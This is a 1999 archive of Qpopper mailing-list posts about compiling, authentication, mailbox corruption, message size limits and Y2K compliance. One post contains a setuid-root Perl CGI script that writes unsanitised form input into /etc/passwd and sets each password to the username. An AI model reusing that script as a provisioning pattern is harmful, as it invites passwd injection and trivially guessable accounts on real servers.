> In /usr/local/lib/pine.conf.fixed add this to "feature-list="
>
> quell-folder-internal-msg
>
> AB
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From: "Peter Turner" <Peter_Turner at walkergreenbank dot com>
Subject: Compiling 2.53 on DG/UX
Date: Wed, 28 Apr 1999 07:59:16 +0100
I first sent this mail in February and the only reply I had was to update to
a later version of gcc. This has been done and I still have the same
problem.....Have also tried to compile several versions of 3 with the same
result........
Peter
Original Message
Whilst trying to compile version 2.53 on a Data General Intel machine the
following error is reported from 'ld'
Undefined first referenced
symbol in file
getpeername pop_init.o
Anyone got a fix for this.
I also had a similar error from pop_ruser - ruserok but was able to fix
this by adding the following line to popper.h
extern int ruser();
after all the othe extern int lines.
Peter Turner
e-mail : Peter.Ulysses at dial.pipex dot com
From: "New Hope Hostmaster" <hostmaster at newhope dot com>
Subject: MySQL with Qpopper, or Atdot?
Date: Wed, 28 Apr 1999 11:35:26 -0600
I am trying to setup a hotmail type setup for a website. I am using a
dedicated Linux server for the mail part, but the site is hosted on NT. I
want to make sure the mail server can handle a large number of users, and I
need to add pop users via cgi.
I am thinking that using Qpopper with MySQL is the best option, as I can use
the MySQL ODBC NT driver to connect the NT to the MySQL database, and add
users using Cold Fusion from the NT box.
But, I don't know if this is the write path, and have had a really tough
time getting the MySQL Qpopper patch to work. Then I found Atdot, which
might work too, but don't know if it can handle a large number of users, and
if users can be added via cgi (Perl).
So, I am looking for help with anyone who has been able to get the Qpopper
MySQL patch to work, or if anyone has been able to add POP users via a cgi
script to any type of setup (Atdot, default Pop users, etc).
There seems to be several members of these lists attempting the same thing,
so I am hopping we can get together and help each other find a solution.
Thanks,
Peter Janett
http://www.healthwell.com
Date: Wed, 28 Apr 1999 15:20:36 -0300 (EST)
From: Rodrigo Luiz Anami <rodrigoa at bestway.com dot br>
Subject: Lost some messages
It is a good one...
We are using qpopper 2.53 on intel slackware linux. There was a discussion
about some problem that results in missing some messages and We are having
this problem, anybody identificates the causes ?
-------------------------------------------------------------------------
Rodrigo Luiz Anami rodrigoa at bestway.com dot br
Best Way Internet Provider Atendimento ao Cliente
http://www.bestway.com.br (019) 254.6263 (Campinas)
webmaster at bestway.com dot br 0800.112262 (Outras Localidades)
-------------------------------------------------------------------------
From: "Evan Erwin" <obiwan at frag dot com>
Subject: RE: Lost some messages
Date: Thu, 29 Apr 1999 19:20:26 -0400
Hrm... I remember seeing a post to the mailing list about Windows Messaging
losing messages because the way that 3.0b13 was handling them. Please give
more information about this problem and we could probably find a solution
much easier. What types of messages, what email proggies, etc etc
Evan Erwin
Systems Administrator
The Citizens Bank of East Tennessee
-----Original Message-----
From: Rodrigo Luiz Anami [mailto:rodrigoa at bestway.com dot br]
Sent: Wednesday, April 28, 1999 2:21 PM
To: Subscribers of Qpopper
Subject: Lost some messages
It is a good one...
We are using qpopper 2.53 on intel slackware linux. There was a discussion
about some problem that results in missing some messages and We are having
this problem, anybody identificates the causes ?
-------------------------------------------------------------------------
Rodrigo Luiz Anami rodrigoa at bestway.com dot br
Best Way Internet Provider Atendimento ao Cliente
http://www.bestway.com.br (019) 254.6263 (Campinas)
webmaster at bestway.com dot br 0800.112262 (Outras Localidades)
-------------------------------------------------------------------------
From: "Hostmaster" <hostmaster at newmediaone dot com>
Subject: Pop users - "Insecure dependency in mkdir"
Date: Thu, 29 Apr 1999 17:50:31 -0600
I am writing a script in Perl to create POP users on Red Hat 5.2. I managed
to get the passwd file setup, but when I try to have the script create the
user directory, I get the "Insecure dependency in mkdir" message.
Here's the full line of the error_log:
Insecure dependency in mkdir while running setuid at
/home/httpd/cgi-bin/adduser.cgi line 81
And, the permissions on the script (I've tried MANY different permission
settings):
-rwsr-xr-x 1 root root 2289 Apr 29 17:22 adduser.cgi
And the line of the Perl script that is failing (I've played with the
permission here too):
mkdir ("/home/$FORM{'username'}", 444) || print "I can't $!\n";
So, can anyone help? I'm posting the whole script below, in case others may
find it useful, and to get feedback/suggestions.
Thanks,
Peter Janett
New Media One Web Services
~Professional results with a personal touch~
http://www.newmediaone.com
webmaster at newmediaone dot com
----------------------------------------------
#!/usr/bin/perl
#
# Peter's user setup script
# This adds a user via http
# It alters the passwd file
# password files
$passwd = "/etc/passwd";
$passwd_BU = "passwd_peter_bu";
#Use cgi-lib.pl to parse data
require "/home/httpd/cgi-bin/library/cgi-lib.pl";
&ReadParse(*FORM);
print "Content-type: text/html\n\n";
print<<"EEE";
<HTML>
<BODY>
EEE
# Backup passwd file
# Open file, read to get new ID and check for
# existing usernames, and read into @bu to create
# a backup
open(DATAFILE, "$passwd") || print "I can't $!\n";
flock DATAFILE, 2;
@bu=<DATAFILE>;
close(DATAFILE);
flock DATAFILE, 8;
# write data to backup file
open(BU, ">$passwd_BU") || print "I can't write $!\n";
flock BU, 2;
foreach $line (@bu) {
chomp $line;
print BU "$line\n";
}
close(BU);
flock BU, 8;
# Set ID to 1
$setid = "1";
# check for username and ID dups, and count ids
open(DATAFILE, "$passwd") || print "I can't $!\n";
flock DATAFILE, 2;
while(<DATAFILE>) {
($username, $password, $id, $groupid, $name,
$homedir, $shell, @junk) = split (/:/, $_);
# get highest number ID
if ($id > $setid){
$setid = $id;
}
# Found existing username
if ($username eq $FORM{'username'}){
print "<H1>USERNAME $FORM{'username'} already taken\!\!</H1>";
print<<"EEE";
</BODY>
</HTML>
EEE
exit;
}
} # End while <DATAFILE>
close(DATAFILE);
flock DATAFILE, 8;
# encrypt password
$pw = &GetPword;
$newid = $setid+1;
# write new data to passwd file
open(BU, ">>$passwd") || print "I can't write $!\n";
flock BU, 2;
print BU
"$FORM{'username'}:$pw:$newid:12:$FORM{'fullname'}:/home/$FORM{'username'}:b
in/false\n";
close(BU);
flock BU, 8;
mkdir ("/home/$FORM{'username'}", 444) || print "I can't $!\n";
print<<"EEE";
<H2>User: $FORM{'username'} added</H2>
$FORM{'username'}:$pw:$newid:12:$FORM{'fullname'}:/home/$FORM{'username'}:/F
ALSE
</BODY>
</HTML>
EEE
################ subroutines ###############################
# Subroutine to prompt for and return (encrypted) password.
sub GetPword {
my ( $pwd1, $pwd2, $salt, $crypted );
my @saltchars = (a .. z, A .. Z, 0 .. 9);
$pwd1 = $FORM{'username'};
# Generate a random salt value for encryption:
srand(time || $$);
$salt = $saltchars[rand($#saltchars)] . $saltchars[rand($#saltchars)];
return crypt($pwd1, $salt);
}
From: "Mike Walter" <mike at pcdnet dot net>
Subject: Error Message
Date: Fri, 30 Apr 1999 14:13:56 -0400
I get an error message saying no transport provider found when sending
email. I get this only some times. It seems if I send a message to an
invalid user I get this message. I have an @mydomain.com error:nouser No
such user here and should get this error message? Is there something I am
doing wrong?
Thanks
Mike WalterÝ
Date: Fri, 30 Apr 1999 15:52:50 -0500
From: "Igor S. Livshits" <igorl at life.uiuc dot edu>
Subject: Qpopper and PAM under Linux?
Howdy,
I am still having problems getting either 2.5.3 or 3.0b to properly
authenticate against PAM under Linux. Has anyone succeeded in doing
this or something similar?
APOP works great, but some of my users still want to rely on plain
authentication.
Thanks, igor
Date: Fri, 30 Apr 1999 22:22:16 +0000
From: Emi Kawamura <emi at langmuir.EECS.Berkeley dot EDU>
Subject: Netscape and APOP
Is it possible to configure Netscape to use
APOP instead of user/pass authentication when
downloading mail from a qpopper server?
Thank you,
Emi
From: "Evan Erwin" <obiwan at frag dot com>
Subject: RE: non response from server
Date: Fri, 30 Apr 1999 21:22:01 -0400
Have you checked the port settings (in your server and in the email
programs)? There should at least be some error messages about authentication
if that is the problem. If you can telnet into port 110 and don't get a
"connection refused" error, then I don't think it's a port prob... Do any
other email programs work with it? I'm not exactly sure what to make of
this, there should be something in your logs about bad authentication and/or
port refusal...
Evan Erwin
Systems Administrator
The Citizens Bank of East Tennessee
-----Original Message-----
From: Tom Walker [mailto:twalker at pacifier dot com]
Sent: Tuesday, April 27, 1999 3:21 AM
To: Subscribers of Qpopper
Subject: non response from server
I'm new to qpopper so I hope this isn't too dumb.
Everything seems to be fine when I telnet localhost pop3
at the mail server. But I can't telnet in or get a response
with netscape messenger or outlook when trying from a remote host.
I can do normal telnet from a remote host.
I can see activity with netstat at the server when trying to connect,
it appears to be a authentication problem?
Any suggestions on settings?
Thanks
From: Tom Walker <tom at rev3 dot com>
Subject: FW: non response from server
Date: Fri, 30 Apr 1999 21:18:42 -0700
Thanks for the follow up, had a typo in the /etc/services file.
Had two entries for POP3 one on port 100 and one on port 110. Don't know
why
but it worked when telneting from the server but not another host.
Removed the port 100 line and everything works great. Lesson, check and
recheck
the obvious.
THX
-----Original Message-----
From: Evan Erwin [SMTP:obiwan at frag dot com]
Sent: Friday, April 30, 1999 6:22 PM
To: Subscribers of Qpopper
Subject: RE: non response from server
Have you checked the port settings (in your server and in the email
programs)? There should at least be some error messages about
authentication if that is the problem. If you can telnet into port 110 and
don't get a "connection refused" error, then I don't think it's a port
prob... Do any other email programs work with it? I'm not exactly sure what
to make of this, there should be something in your logs about bad
authentication and/or port refusal...
Evan Erwin
Systems Administrator
The Citizens Bank of East Tennessee
-----Original Message-----
From: Tom Walker [mailto:twalker at pacifier dot com]
Sent: Tuesday, April 27, 1999 3:21 AM
To: Subscribers of Qpopper
Subject: non response from server
I'm new to qpopper so I hope this isn't too dumb. Everything seems to be
fine when I telnet localhost pop3 at the mail server. But I can't telnet
in or get a response with netscape messenger or outlook when trying from a
remote host. I can do normal telnet from a remote host.
I can see activity with netstat at the server when trying to connect, it
appears to be a authentication problem?
Any suggestions on settings?
Thanks
Date: Sat, 1 May 1999 16:49:38 +1200 (NZST)
From: Alan Brown <alan at manawatu.gen dot nz>
Subject: Re: FW: non response from server
On Fri, 30 Apr 1999, Tom Walker wrote:
> Thanks for the follow up, had a typo in the /etc/services file.
> Had two entries for POP3 one on port 100 and one on port 110. Don't know
> why
> but it worked when telneting from the server but not another host.
Because telnet looks at /etc/services too
AB
Subject: Unable to process From lines (envelopes), change recognition modes
Date: Sat, 01 May 1999 13:16:25 +0200
From: Gildas PERROT <perrot at FranceNet dot fr>
Hi,
I am using qpopper 2.53 and POP3 clients are encountering very often the
following problem with corrupted mailboxes :
-ERR Unable to process From lines (envelopes), change recognition modes
- how does that corruption occur ?
- is there a script which could correct the mailbox in order to use as
automatic correction ?
Thanks in advance for your help. Gildas.
--
Gildas PERROT, perrot at francenet dot fr __o
FranceNet, 28 rue Desaix, 75015 Paris ---_ \<,_
http://www.francenet.fr ---- (_)/ (_)
Date: Mon, 03 May 1999 08:36:39 -0700
From: Barry Treahy <treahy at mmaz dot com>
Subject: Re: Unable to process From lines (envelopes), change recognition modes
Please post your solution because I've asked about this with the 3.0 beta
which still has the same problem and manually vi'ing the files is not a
solution... Qualcomm, please fix qpopper to deal with this better...
Barry
Gildas PERROT wrote:
> Hi,
>
> I am using qpopper 2.53 and POP3 clients are encountering very often the
> following problem with corrupted mailboxes :
>
> -ERR Unable to process From lines (envelopes), change recognition modes
>
> - how does that corruption occur ?
> - is there a script which could correct the mailbox in order to use as
> automatic correction ?
>
> Thanks in advance for your help. Gildas.
> --
> Gildas PERROT, perrot at francenet dot fr __o
> FranceNet, 28 rue Desaix, 75015 Paris ---_ \<,_
> http://www.francenet.fr ---- (_)/ (_)
From: "Steven Roach" <sroach at ael dot com>
Subject: Strange....?
Date: Mon, 3 May 1999 16:12:59 -0400
Strange little tid bit, I upgrade to Red Hat Linux last night, and
everything went well except Qpopper no longer worked. My config files
(inetd.conf / services) were fine, but no luck.
Had to recompile it, then it worked fine.
One for the books I guess.
-Steve
Date: Mon, 3 May 1999 16:52:43 -0400
From: Eric Hester <eric at carol dot net>
Subject: Re: Strange....?
If you went from a pre 5.x version to a 5.x or 6.0 version this
would probably be a libc/glibc problem.. they changed the c libaries
between those versions.
Eric Hester eric at carol dot net
Senior Systems Administrator 1-800-460-1101 x304
Carolina Online, Inc.
"Real programmers don't comment. If it was hard to write,
it should be hard to understand" - unknown
> Strange little tid bit, I upgrade to Red Hat Linux last night, and
> everything went well except Qpopper no longer worked. My config files
> (inetd.conf / services) were fine, but no luck.
> Had to recompile it, then it worked fine.
>
> One for the books I guess.
>
> -Steve
>
>
Date: Mon, 03 May 1999 15:53:10 -0700
From: Craig Schiavone <craigs at webcom dot com>
Subject: bug? in qpopper 2.53
Hello, fellow qpopper users!
I'm running qpopper on a RedHat Linux 5.1 x86 box, with version 2.53
of the qpopper server. I've got SERVER_MODE, MAILOCK, HAVE_MAILLOCK_H
and NOUPDATEONABORT defined in the compile. We're using a stock
sendmail 8.9.1, for SMTP, using the procmail (v3.10) that comes with
RedHat as the local delivery agent.
For the most part, everything has been running smoothly. However,
about once a week I've been getting a corrupted mailbox. One mailboxes
had a bunch of X-UIDL headers at the very beginning of the mailbox,
in duplicates:
X-UIDL: eb9e20ca7336771839b99ea49b00d075
X-UIDL: eb9e20ca7336771839b99ea49b00d075
X-UIDL: b73671e13592bfb77c633e4be0d7ca8c
X-UIDL: b73671e13592bfb77c633e4be0d7ca8c
...etc., followed by the first From line.
One other mailbox had the duplicate X-UIDLs at the beginning, only they
were written over the headers of the first message in the mbox.
The third mailbox was mostly normal, except the first 'F' of the From
line
of the first message was overwritten with a \n
Has anybody else run into problems with mailbox corruption like this?
-Craig S.
Date: Mon, 03 May 1999 16:24:00 -0700
From: Barry Treahy <treahy at mmaz dot com>
Subject: Re: bug? in qpopper 2.53
I've seen the rom: with the missing F which causes the beta 3.0 qpopper to
choke as well as other X- parameters that cause problems. It would be nice
if the base lines were either ignored with a warning posted in syslog, or
to report the exact line and position in the users's e-mail file for manual
correction. I'd rather see the first option, perhaps with a switch at
startup for those that want a more strict adherance...
Barry
Craig Schiavone wrote:
> Hello, fellow qpopper users!
>
> I'm running qpopper on a RedHat Linux 5.1 x86 box, with version 2.53
> of the qpopper server. I've got SERVER_MODE, MAILOCK, HAVE_MAILLOCK_H
> and NOUPDATEONABORT defined in the compile. We're using a stock
> sendmail 8.9.1, for SMTP, using the procmail (v3.10) that comes with
> RedHat as the local delivery agent.
>
> For the most part, everything has been running smoothly. However,
> about once a week I've been getting a corrupted mailbox. One mailboxes
> had a bunch of X-UIDL headers at the very beginning of the mailbox,
> in duplicates:
> X-UIDL: eb9e20ca7336771839b99ea49b00d075
> X-UIDL: eb9e20ca7336771839b99ea49b00d075
> X-UIDL: b73671e13592bfb77c633e4be0d7ca8c
> X-UIDL: b73671e13592bfb77c633e4be0d7ca8c
> ...etc., followed by the first From line.
>
> One other mailbox had the duplicate X-UIDLs at the beginning, only they
> were written over the headers of the first message in the mbox.
> The third mailbox was mostly normal, except the first 'F' of the From
> line
> of the first message was overwritten with a \n
>
> Has anybody else run into problems with mailbox corruption like this?
>
> -Craig S.
Date: Mon, 03 May 1999 20:37:26 -0400 (EDT)
From: rosenblg at nyu dot edu
Subject: y2k compliance
howdy,
which version(s) of qpopper is y2k compliant? and, is there a
compliance statement? thanks much.
gary
Gary J. Rosenblum
Unix Systems Manager / News Manager / Networking Group
New York University
gary at nyu dot edu
Date: Tue, 04 May 1999 10:12:39 -0400
From: Sam Mbir-Bondzie <smbirbondzie at att dot com>
Subject: Dist. qpopper needed urgently.
Hello All,
For weeks now I have not be able to compile and install qpopper2.53 or
qpopper3.0 . I sent about five messages for help but till now I have
had no response.
What I want now is if anyone out there has an already compiled
distributed format of qpopper2.53 or qpopper3.0 for Irix
please come to my aid by sending me the distributed format for I can't
wait any longer.
Thanks in advance for your help.
Sam Mbir-Bondzie
Unix Sys. Admin.
From: "Steven Roach" <sroach at ael dot com>
Subject: E-mail size???
Date: Tue, 4 May 1999 14:56:16 -0400
Is there a size parameter, that can limit the size of the e-mail your send
out.. I know I have one on my firewall, and I have that set at 4megs, all of
a sudden when I send an e-mail with attachment of more then 2.9 megs I get
an error.
Thanks in advance.
-Steve
Date: Tue, 4 May 1999 15:14:35 -0400
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: E-mail size???
> Is there a size parameter, that can limit the size of the e-mail your send
> out.. I know I have one on my firewall, and I have that set at 4megs, all of
> a sudden when I send an e-mail with attachment of more then 2.9 megs I get
> an error.
the remote site can have it at 3M perhaps?
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Tue, 04 May 1999 15:21:16 -0400
From: Roy Kidder <rkidder at ocom dot com>
Subject: Re: E-mail size???
So let me get this straight... size *does* matter.
Sorry, couldn't resist.
At 02:56 PM 5/4/99 -0400, Steven Roach wrote:
>Is there a size parameter, that can limit the size of the e-mail your send
>out.. I know I have one on my firewall, and I have that set at 4megs, all of
>a sudden when I send an e-mail with attachment of more then 2.9 megs I get
>an error.
>
>
>Thanks in advance.
>
>-Steve
>
From: "Steven Roach" <sroach at ael dot com>
Subject: RE: E-mail size???
Date: Tue, 4 May 1999 15:21:15 -0400
Nope, it's not getting beyond the internal mail server...
> -----Original Message-----
> From: Tomasz Orzechowski [mailto:tmo at apk dot net]
> Sent: Tuesday, May 04, 1999 3:15 PM
> To: Steven Roach
> Cc: Subscribers of Qpopper
> Subject: Re: E-mail size???
>
>
> > Is there a size parameter, that can limit the size of the
> e-mail your send
> > out.. I know I have one on my firewall, and I have that set
> at 4megs, all of
> > a sudden when I send an e-mail with attachment of more then
> 2.9 megs I get
> > an error.
>
> the remote site can have it at 3M perhaps?
>
> --
> Tomasz Orzechowski
> tmo at apk dot net
> APK.net systems administration team
> TO630
>
>
From: "Steven Roach" <sroach at ael dot com>
Subject: RE: E-mail size???
Date: Tue, 4 May 1999 16:55:39 -0400
Chris,
I do have the max size in sendmail set for 4megs. But doesn't qpopper take
the mail from my windows client and give it to send mail... ?
> -----Original Message-----
> From: Chris Zimmerman [mailto:czimmer at e-docs dot net]
> Sent: Tuesday, May 04, 1999 4:18 PM
> To: Steven Roach
> Subject: Re: E-mail size???
>
>
> Steven Roach wrote:
>
> > Nope, it's not getting beyond the internal mail server...
> >
> > > -----Original Message-----
> > > From: Tomasz Orzechowski [mailto:tmo at apk dot net]
> > > Sent: Tuesday, May 04, 1999 3:15 PM
> > > To: Steven Roach
> > > Cc: Subscribers of Qpopper
> > > Subject: Re: E-mail size???
> > >
> > >
> > > > Is there a size parameter, that can limit the size of the
> > > e-mail your send
> > > > out.. I know I have one on my firewall, and I have that set
> > > at 4megs, all of
> > > > a sudden when I send an e-mail with attachment of more then
> > > 2.9 megs I get
> > > > an error.
> > >
> > > the remote site can have it at 3M perhaps?
> > >
> > > --
> > > Tomasz Orzechowski
> > > tmo at apk dot net
> > > APK.net systems administration team
> > > TO630
> > >
> > >
>
> Sending out is generally through Sendmail, Qmail, etc...something SMTP
> related. POP3 is for downloading only ("the red zone is for
> loading and
> unloading, only...no, you idiot, the white zone is for loading and
> unloading..."). What are you running? Sendmail does have a parameter
> for limiting the size of the messages.
>
> Thanks,
> Chris
>
Date: Tue, 4 May 1999 17:23:06 -0700
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: y2k compliance
At 8:37 PM -0400 5/3/99, rosenblg at nyu dot edu wrote:
>howdy,
>
> which version(s) of qpopper is y2k compliant? and, is there a
>compliance statement? thanks much.
>
> gary
>
>
>Gary J. Rosenblum
>Unix Systems Manager / News Manager / Networking Group
>New York University
>gary at nyu dot edu
Qpoppr is y2k compliant. See the FAQ at
<http://www.eudora.com/freeware/qpop_faq.html#y2k>.
You should use version 2.53 or later (because of other bugs fixed, not y2k).